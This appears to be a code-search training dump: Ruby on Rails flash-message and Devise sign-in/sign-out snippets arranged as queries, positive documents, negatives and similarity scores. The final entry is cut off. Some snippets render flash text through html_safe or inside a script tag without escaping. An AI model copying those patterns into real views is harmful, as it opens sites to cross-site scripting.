"def test_flash_messages_work\n get \"/\"\n refute_match /should show on page/, last_response.body\n get \"/set_flash_for_test?flash=should%20show%20on%20page\"\n get \"/\"\n assert_match /should show on page/, last_response.body\n get \"/\"\n refute_match /should show on page/, last_response.body\n end",
"def test_flash_me_naked\n process :flash_me_naked\n assert [email protected]_flash?\n assert [email protected]_flash_with_contents?\n end",
"def set_failure_notice\n if request.format == :html\n flash[:alert] ||= error_messages.presence || flash_message(:failure)\n end\n end",
"def unobtrusive_flash_keys\n [:notice, :alert, :error, :success, :warning]\n end",
"def flash?\n file_ext == \"swf\"\n end",
"def flash_notice(options = Hash.new)\n return \"\"\n end",
"def skip_admin_flash\n @skip_admin_flash = true\n end",
"def map_flash_to_gon\n generate_standard_gon\n if flash[:notice]\n gon.flash[:type] = :notice\n gon.flash[:message] = flash[:notice]\n elsif flash[:alert]\n gon.flash[:type] = :alert\n gon.flash[:message] = flash[:alert]\n end\n end",
"def show_flash\n html = ''\n [ :alert, :notice, :info, :warning, :error ].each do |f|\n options = { :id => \"flash-#{f}\", :class => \"flash-#{f}\" }\n options.merge!( :style => 'display:none' ) if flash[f].nil?\n html << content_tag( 'div', options ) { flash[f] || '' }\n end\n html.html_safe\n end",
"def show_flash\n html = ''\n [ :alert, :notice, :info, :warning, :error ].each do |f|\n options = { :id => \"flash-#{f}\", :class => \"flash-#{f}\" }\n options.merge!( :style => 'display:none' ) if flash[f].nil?\n html << content_tag( 'div', options ) { flash[f] || '' }\n end\n html.html_safe\n end",
"def test_flash_have_nots\n process :nothing\n assert [email protected]_flash?\n assert [email protected]_flash_with_contents?\n assert_nil @response.flash['hello']\n end",
"def flash_warning(warning)\n flash[:warning] = warning\n end",
"def flash_messages(types)\n types.map{|type| content_tag(:div, \"#{flash[type]}\".html_safe, :class => type.to_s)}.join.html_safe\n end",
"def flash_messages\n messages = []\n %w(notice success warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]),\n :id => \"flash-#{msg}\", :class => msg) unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_filter(flash)\n flash.select { |k, _v| FLASH_TO_BOOTSTRAP_MAP.keys.include? k.to_sym }\n end",
"def header_flash\n if [\"text/javascript\", \"application/javascript\", \"application/x-javascript\"].include? response.content_type\n response.headers[\"flash-messages\"] = flash.to_json\n flash.each do |key, value|\n flash.delete key\n end\n end\n end",
"def flash_me\n flash['hello'] = 'my name is inigo montoya...'\n render :text => \"Inconceivable!\"\n end",
"def test_flash_haves\n process :flash_me\n assert @response.has_flash?\n assert @response.has_flash_with_contents?\n assert @response.has_flash_object?('hello')\n end",
"def display_message?\n if play? || seconds - @last_time_value < 6 && @last_time_value >= @level_num\n true\n else\n false\n end\n end",
"def flash_messages(opts = {})\n flash.each do |msg_type, message|\n concat(content_tag(:div, message, class: \"alert #{bootstrap_class_for msg_type} fade in\", id: \"flash\") do \n concat message\n end)\n end\n nil\n end",
"def flash_messages\n code = \"\"\n flash.each do |type, message|\n next if message.nil?\n code += \"<div class=\\\"message #{type}\\\">\\n\"\n code += \" <p>#{message}</p>\\n\"\n code += \"</div>\\n\"\n end\n\n code\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def set_flash_failure(msg)\n session[:flash] = [false, msg]\n end",
"def flash_display\n response = \"\"\n flash.each do |name, msg|\n case name \n when :notice then \"info\"\n when :error then \"error\"\n when :success then \"success\"\n when :alert then \"warning\"\n end\n response = response + \"<div class='alert alert-#{name}'><a class='close' data-dismiss='alert'>×</a>\" + content_tag(:div, msg, :id => \"flash_#{name}\") + '</div>'\n end\n flash.discard\n response\n end",
"def set_normal_flash(action)\n if f = options_for(action).flash\n flash[:notice] = f.is_a?(Proc) ? instance_eval(&f) : options_for(action).flash\n end\n end",
"def flash(msg)\n\t$Log.info msg\nend",
"def flash_messages\n result = raw '' # TODO: sure there is a better way\n flash.collect do |level, message|\n result << content_tag(:div, message, :id => \"flash_#{level}\")\n end\n flash.discard\n result\n end",
"def alerts\n check_devise_resource_for_errors\n msgs = flash.keys.collect do |msg_type|\n next unless FLASH_LITERALS.has_key? msg_type.to_sym\n render partial: 'partials/alert', locals: {\n icon: FLASH_LITERALS[msg_type.to_sym][:icon],\n message: flash.discard(msg_type).html_safe,\n bootstrap_class: FLASH_LITERALS[msg_type.to_sym][:bs_class]\n }\n end\n msgs.join.html_safe\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, flash[msg.to_sym], :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash\n {}\n end",
"def redirect\n store_location!\n if is_flashing_format?\n if flash[:timedout] && flash[:alert]\n flash.keep(:timedout)\n flash.keep(:alert)\n else\n unless flash[:alert] == i18n_message\n flash[:alert] = \"#{flash[:alert]} #{i18n_message}\"\n end\n flash.keep(:alert)\n end\n end\n redirect_to redirect_url\n end",
"def flash_messages\n messages = []\n %w(notice success error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def warning?\n messages && messages.length > 0\n end",
"def flash_messages(opts = {})\n flash.each do |flash_type, message|\n concat(content_tag(:div, message, :class => \"alert #{flash_style(flash_type)} alert-dismissible\", role: :alert) do \n concat content_tag(:button, \"×\".html_safe, :class => \"close\", data: { dismiss: 'alert' })\n concat content_tag(:strong, flash_type.capitalize + ':') + ' ' + message\n end)\n end\n nil\n end",
"def flash_message\n messages = \"\"\n flash.each do |key, value|\n messages << \"<div class=\\\"flash #{key}\\\">#{value}</div>\"\n end\n messages\n end",
"def flash_messages\n return unless messages = flash.keys.select{|k| flash_keys.include?(k)}\n formatted_messages = messages.map do |type|\n content_tag :div, :id => type, :class => type.to_s do\n msg = flash[type]\n flash.delete(type)\n image_tag(\"#{type}.png\") + \"  \" + msg\n end\n end\n '<div id=\"flashes\">' + formatted_messages.join + '</div>'\n end",
"def flash_type(type)\n case type.to_s\n when \"notice\" then \"info\"\n when \"alert\" then \"warning\"\n else type\n end\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, '<a onclick=\"$(\\'flash_box\\').hide();return false\" href=\"#\">X</a>' + html_escape(flash[msg.to_sym]), :id => \"flash_box\", :class=> \"#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages << %(<script type=\"text/javascript\">show_error_message();</script>)\n messages\n end",
"def flash_msgs(status, messages)\n flash[:status] = status\n flash[:msgs] = [messages].flatten\n end",
"def flash_messages\n messages = flash.keys.collect { |key| flash_message(key, flash[key]) }\n content_tag(:div, messages.to_s.html_safe, :id => \"flash-messages\")\n end",
"def flash_messages\n messages = flash.keys.collect { |key| flash_message(key, flash[key]) }\n content_tag(:div, messages.to_s.html_safe, :id => \"flash-messages\")\n end",
"def should_flash(type)\n should \"return #{type} message\" do\n json = JSON.parse(@response.body)\n assert_not_nil json['messages']\n assert_not_nil json['messages'][type.to_s]\n end\n end",
"def set_alerts\n\t\tif flash.notice\n\t\t\t@notice = flash.notice\n\t\t\tp(@notice)\n\t\telsif flash.alert\n\t\t\t@alert = flash.alert\n\t\t\tp(@alert)\n\t\tend\n\tend",
"def custom_bootstrap_flash\n flash_messages = []\n flash.each do |type, message|\n type = 'success' if type == 'notice'\n type = 'error' if type == 'alert'\n text = \"<script>\n toastr.#{type}('#{message}');\n </script>\"\n flash_messages << text.html_safe if message\n end\n flash_messages.join(\"\\n\").html_safe\n end",
"def flash_messages\n bootstrap_class = {\"notice\" => \"alert alert-success\", \"error\" => \"alert alert-error\", \"warning\" => \"alert\"}\n bootstrap_class.keys.map do |msg|\n content_tag(:div, (\"<a class=\\\"close\\\" data-dismiss=\\\"alert\\\">×</a>\".html_safe + flash.delete(msg.to_sym).html_safe), {:class => bootstrap_class[msg]}) unless flash[msg.to_sym].blank?\n end.join(\"\\n\").html_safe\n end",
"def set_flash_success(msg)\n session[:flash] = [true, msg]\n end",
"def flash(message)\n\n end",
"def render *args\n gon.flash = flash.to_h\n super\n end",
"def flash=(_arg0); end",
"def flash_notice\n return '' unless flash[:notice]\n content_tag 'p', :class => 'notice' do \n flash[:notice]\n end\n end",
"def now\n @flash\n end",
"def flash_messages(errors)\n errors.each { |message| flash['alert_'+ message.gsub(/\\s+/, '_')] = message }\n end",
"def flash_message(type, text)\n flash[type.to_sym] ||= []\n flash[type.to_sym] << text\n end"
] | [
"0.7396011",
"0.7268108",
"0.6926628",
"0.6832367",
"0.6642311",
"0.655319",
"0.6408385",
"0.6397239",
"0.6387804",
"0.6311777",
"0.621696",
"0.6214255",
"0.6170525",
"0.6115967",
"0.6065953",
"0.606451",
"0.60624224",
"0.6055898",
"0.60551506",
"0.60381603",
"0.60143393",
"0.59511983",
"0.5931976",
"0.5924929",
"0.58771545",
"0.58771545",
"0.58579254",
"0.58567804",
"0.5854012",
"0.5835244",
"0.5826265",
"0.5795479",
"0.5793503",
"0.5787694",
"0.578668",
"0.5776366",
"0.5770879",
"0.576711",
"0.5744106",
"0.5739104",
"0.57243145",
"0.5722765",
"0.5719774",
"0.57195085",
"0.57101333",
"0.5707349",
"0.57049686",
"0.5698777",
"0.5694527",
"0.569219",
"0.569219",
"0.5690041",
"0.56889725",
"0.5688861",
"0.56674886",
"0.56655455",
"0.5655137",
"0.5649961",
"0.56409025",
"0.563114",
"0.56281424",
"0.5625983",
"0.56231135",
"0.56231135",
"0.56231135",
"0.56231135",
"0.56231135",
"0.56231135",
"0.5617805",
"0.561566",
"0.560624",
"0.56058323",
"0.5601804",
"0.5600388",
"0.5594932",
"0.5594634",
"0.55873555",
"0.558456",
"0.55772966",
"0.557251",
"0.55622023",
"0.5560008",
"0.5550999",
"0.55479133",
"0.5517937",
"0.5511504",
"0.5511504",
"0.5509036",
"0.55013293",
"0.54991955",
"0.5496396",
"0.5489576",
"0.54739445",
"0.54724133",
"0.5464736",
"0.54531443",
"0.54466724",
"0.5446141",
"0.5442245"
] | 0.7159792 | 2 |
Sign in a user and tries to redirect first to the stored location and then to the url specified by after_sign_in_path_for. It accepts the same parameters as the sign_in method. source://devise//lib/devise/controllers/helpers.rb235 | def sign_in_and_redirect(resource_or_scope, *args); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def signed_in_user\n unless signed_in?\n # store friendly URL so we can redirect after signin (stored in session)\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location #record url of intended page before redirect\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def custom_user_sign_in\n if current_user.nil?\n session[:return_location] = request.referrer\n redirect_to new_user_session_path\n else\n redirect_to request.referrer || root_path\n end\n end",
"def signed_in_user\n store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def signed_in_user\n\t store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def signIn_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to :signin, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to( signin_url, notice: \"Please sign in.\" )\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location # for friendly forwarding\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n store_location #pour ensuite rediriger l'utilisateur vers la destination qu'il voulait avant\n # d'etre rediriger vers la pagne d'authentification\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in?\n end",
"def signed_in_user\n unless signed_in?\n # If not signed in, save current location in session object\n # to be able to redirect after successful sign in.\n session[:return_to] = request.url\n # prompt sign in page\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to root_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\r\n unless signed_in?\r\n store_location\r\n redirect_to signin_url, notice: \"Please sign in.\"\r\n end\r\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n logger.debug \"***signed_in_user - Detected signed in user...\"\n end",
"def signed_in_user\n\n\t\t# If check to see if user is signed in\n \tunless signed_in?\n\n \t\t# Store the last the requested action and store it\n \t\tstore_location\n\n \t\t# Redirect to the signin url with notice to signin\n \t\tredirect_to signin_url, notice: \"Please sign in.\"\n \tend\n \tend",
"def authenticate_user!\n if !signed_in?\n session[:user_return_to] = request.path if request.path\n redirect_to \"/auth/githubteammember\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location \n redirect_to signin_path, notice: \"Please sign in.\"\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"You must be signed in to perform this action.\" \n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n flash[:error] = \"Please sign in.\"\n redirect_to signin_url \n end\n end",
"def logged_in_user\n return if logged_in?\n store_location\n redirect_to sessions_new_path, alert: 'Please log in.'\n end",
"def authenticate_user!\n unless logged_in?\n store_location\n redirect_to log_in_path\n end\n end",
"def authenticate_user\n if !user_logged_in?\n # Store current url path for future reference\n store_location\n # Redirect to home page with error flash\n flash[:error] = \"Please Signin to access this page\"\n redirect_to root_path\n end\n end",
"def signed_in_user\n unless signed_in?\n store_location\n redirect_to signin_path, notice: \"Please sign in\" \n end\n end",
"def signed_in_user\n\t\tunless signed_in?\n\t\t\tstore_location\n\t\t\tredirect_to signin_path, notice: \"Please sign in.\"\n\t\tend\n\tend",
"def signed_in_user\n\t\tunless signed_in?\n\t\t\tstore_location\n\t\t\tredirect_to signin_url, notice: \"You have to be logged in to do this\"\n\t\tend\n\tend",
"def sign_in_and_redirect!\n set_user_session_from_oauth\n set_user_cookie\n\n url = if params[:state] == \"popup\"\n Exvo::Helpers.auth_uri + \"/close_popup.html\"\n elsif params[:state] # if not popup then an url\n params[:state]\n else\n session[:user_return_to] || \"/\"\n end\n\n redirect_to url\n end",
"def signed_in_user\n\t\t\tunless signed_in?\n\t\t\t\tstore_location\n\t\t\t\tredirect_to signin_url, flash: {warning: \"Please sign in.\"}\n\t\t\tend\n\t\tend",
"def auth_success_redirect(path = nil, user: nil, message: nil, **opt)\n set_flash_notice(message, **opt) if message.present?\n path ||= after_sign_in_path_for(user || resource)\n redirect_to path\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(:user) || super\n end",
"def signed_in_user\n\t\tunless signed_in?\n\t\t\tstore_location\n\t\t\tredirect_to signin_url \n\t\t\tflash[:success] = \"Please sign in.\"\n\t\tend\n\tend",
"def signed_in_user\n store_location\n redirect_to root_path, notice: \"Please sign in.\" unless signed_in?\n #we are adding an option to the redirect_to function which is a hash\n #it updates the flash[] hash\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please sign in.\"\n redirect_to signin_url\n end\n end",
"def signed_in_user\n unless signed_in?\n flash.now[:danger] = \"Please sign in first.\"\n # store the edit location for redirect back\n store_location\n redirect_to signin_url\n end\n end",
"def sign_in_and_redirect2(resource_or_scope, *args)\n options = args.extract_options!\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n resource = args.last || resource_or_scope\n sign_in(scope, resource, options)\n redirect_to stored_location_for(:user) || root_path # thanks_for_registration_path\n end",
"def signed_in_user\n redirect_to signin_path, :status => 302 unless signed_in?\n end",
"def signed_in_user\n redirect_to signin_path, :status => 302 unless signed_in?\n end",
"def redirect_signed_in_user\n redirect_to user_home_path if user_signed_in?\n end",
"def signed_in_user\n\t\t\tunless signed_in?\n\t\t\t\tstore_location\n\t\t\t\tredirect_to signin_url, notice: \"Please sign in.\"\n\t\t\tend\n\t\tend",
"def signed_in_user\n # Listing 9.18: Adding store_location to the signed-in user before filter.\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def log_in(user)\n session[:user_id] = user.id\n redirect_path = session[:redirect_after_login]\n session[:redirect_after_login] = nil\n redirect_path\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logging_in \n @user = User.find(current_user.id)\n sign_in @user\n\n redirect_to after_sign_in_path_for(@user)\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to signin_url\n end\n end",
"def logged_in_user\n return if logged_in?\n store_location\n flash[:danger] = t \"danger.login\"\n redirect_to login_url\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:alert] = \"Please sign up or log in\"\n redirect_to login_url\n end\n end",
"def signed_in_user\n # Listing 9.18: Adding store_location to the signed-in user before filter.\n unless signed_in?\n store_location\n redirect_to signin_url, notice: \"Please sign in.\"\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location # This line uses a method in sessions_helper to store request location so that it may redirect them to that location upon login.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def after_sign_in_path_for(user)\n \tuser_path user\n \tend",
"def after_sign_in_path_for(resource_or_scope)\n current_user # redirects to a user's show page\n end",
"def authenticate_user\n redirect_to root_path unless signed_in?\n end",
"def logged_in_user\n unless logged_in?\n # {Function}store_location in `sessions_helper`.rb\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def after_sign_in_path_for(resource)\n sign_in_url = new_user_session_url\n if request.referer == sign_in_url\n super\n else\n stored_location_for(resource) || request.referrer || root_path\n end\n end",
"def logged_in_user\n unless logged_in?\n #We store the location where the users want to go\n #and then ask them to log in, once they log in, we will\n #redirect them to that location.\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def log_in_user\n unless log_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_path\n end\n end",
"def after_sign_in_path_for(resource)\n sign_in_url = new_user_session_url\n if request.referer == sign_in_url\n super\n else\n stored_location_for(resource) || request.referer || root_path\n end\n end",
"def logged_in_user\n return if logged_in?\n\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end",
"def logged_in_user\n if user_signed_in? then\n \n else\n redirect_to root_path\n end \n \n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n return if logged_in?\n\n store_location\n flash[:danger] = 'please log in.'\n redirect_to login_url\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash_please_log_in\n redirect_to login_url\n end\n end",
"def my_sign_in(user)\n password = user.password || \"password\"\n post_via_redirect user_session_path, user: {email: user.email, password: password}\n end",
"def logged_in_user\n unless logged_in?\n # store intended location to be used for friendly forwarding after\n # the user properly logs in\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n\t unless logged_in?\n\t store_location # store where the user was going to go (redirects them to it after they log in)\n\t flash[:danger] = \"Please log in.\"\n\t redirect_to login_url\n\t end\n\t end",
"def logged_in_user\n unless logged_in?\n store_location\n flash.now[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def authenticate_user_with_sign_up!\n unless user_signed_in?\n store_location_for(:user, request.fullpath)\n redirect_to new_user_registration_path, alert: t(\"create_an_account_first\")\n end\n end",
"def authenticate_user!(*args)\n if request.get? && !logged_in?\n session[:return_to] = request.fullpath\n session[:return_to_for_new_user] = request.fullpath\n end\n super\n end",
"def signed_in\n\t\t\tunless signed_in?#checks if the user is currently signed in, the function is housed in the sessions helper for in depth analysis\n\t\t\t\tstore_location\n\t\t\t\tredirect_to signin_url, notice: \"Please sign in.\"\n\t\t\tend\n\t\tend",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to register_path\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in first.\"\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in!\"\n redirect_to login_path\n end\n end",
"def signed_in_user\n #Method signed_in? defined in app/helpers/sessions_helper.rb\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in? #notice :\"Please sign in\" = flash[:notice] = \"Please sign in\"\n end",
"def signed_in_user\n #Method signed_in? defined in app/helpers/sessions_helper.rb\n redirect_to signin_url, notice: \"Please sign in.\" unless signed_in? #notice :\"Please sign in\" = flash[:notice] = \"Please sign in\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n session[:return_to] || super\n end",
"def logged_in_user\n unless logged_in?\n \n store_location\n\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n # Store the location the user attempted to access\n # to enable redirection back to it after login.\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to user_login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end"
] | [
"0.786294",
"0.78237176",
"0.77839625",
"0.77813095",
"0.7764231",
"0.7730236",
"0.7689367",
"0.7677377",
"0.76565903",
"0.76418495",
"0.7626616",
"0.76225525",
"0.7600467",
"0.7600467",
"0.7600467",
"0.75877005",
"0.75579035",
"0.75520736",
"0.75520736",
"0.75520736",
"0.7546605",
"0.7546605",
"0.7502835",
"0.7470168",
"0.7440013",
"0.7421149",
"0.74109864",
"0.7407368",
"0.7384139",
"0.7376362",
"0.7376023",
"0.7361057",
"0.73596025",
"0.73585635",
"0.73516893",
"0.7344114",
"0.7328236",
"0.7303097",
"0.7296132",
"0.7279505",
"0.72639674",
"0.72585803",
"0.7257528",
"0.72428805",
"0.72428805",
"0.7235395",
"0.72343963",
"0.722438",
"0.7224291",
"0.72111833",
"0.7209543",
"0.7209543",
"0.7202238",
"0.71476376",
"0.7143058",
"0.7140885",
"0.71351665",
"0.71274346",
"0.7126362",
"0.7116321",
"0.7113831",
"0.7110651",
"0.71002555",
"0.7072624",
"0.70650667",
"0.70545673",
"0.7052273",
"0.70517385",
"0.7048924",
"0.70401174",
"0.70401174",
"0.70401174",
"0.70323163",
"0.7029702",
"0.70255834",
"0.70232534",
"0.7019585",
"0.7019045",
"0.7013274",
"0.70053554",
"0.7003284",
"0.7003058",
"0.7000881",
"0.6993762",
"0.6993762",
"0.6993338",
"0.6984427",
"0.6984427",
"0.6971219",
"0.6968673",
"0.6967465",
"0.69652855",
"0.6965075",
"0.6965075",
"0.6965075",
"0.6965075",
"0.6965075",
"0.6965075",
"0.6965075",
"0.6965075"
] | 0.7578729 | 16 |
Sign out a user and tries to redirect to the url specified by after_sign_out_path_for. source://devise//lib/devise/controllers/helpers.rb245 | def sign_out_and_redirect(resource_or_scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def after_sign_out_path_for(_resource_or_scope)\n # require 'pry'\n # binding.pry\n # Note: at this time: flash[:notice] => \"Signed out successfully.\"\n # current_user is nil.\n new_user_session_path # signIn page\n end",
"def after_sign_out_path_for(resource)\n #if current_user_signed_in?\n # redirect_to home_path \n # else\n redirect_to site_index_path \n #end \n end",
"def after_sign_out_path_for user\n reset_session\n\n # for hijacking\n # cookies.delete :secure_user_id\n\n new_user_session_path\n # root_path\n end",
"def after_sign_out_path_for(user)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"/app/users/sign_in\"\n end",
"def sign_out_and_redirect!(return_to = \"/\")\n sign_out_user\n redirect_to sign_out_url(return_to)\n end",
"def after_sign_out_path_for(user)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end",
"def after_sign_out_path_for(resource_or_scope)\n flash[:logout] = true\n root_path\n end",
"def after_sign_out_path_for(_)\n root_url\n end",
"def after_sign_out_path_for(_resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n if request.params[:type] == \"sso\"\n Rails.configuration.devise[:sign_out_redirect_url]\n else\n super\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/signed_out'\n end",
"def after_sign_out_path_for(resource_or_scope); end",
"def after_sign_out_path_for(_resource_or_scope)\n root_path\n # new_user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n home_path(:ref => \"logout\")\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource)\n '/'\n end",
"def after_sign_out_path_for(_resource)\n root_path\n end",
"def after_sign_out_path_for(_resource)\n root_path\n end",
"def after_sign_out_path_for(resource)\n \tnew_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n Rails.configuration.devise[:sign_out_redirect_url]\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path \n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url\n end",
"def logout\n session[:user_id] = nil\n\n flash[:notice] = 'You have logged off'\n return_to = params[:return_to] || root_url\n redirect_to \"#{CUSTOM_PROVIDER_URL}/users/sign_out?redirect_uri=#{CGI.escape return_to}\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n \t\t\troot_path\n \t\t end",
"def after_sign_out_path_for(resource_or_scope)\r\n login_path\r\n end",
"def after_sign_out_path_for resource_or_scope\n redirect_uri = params[:redirect_uri]\n redirect_uri ? redirect_uri : super\n end",
"def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end",
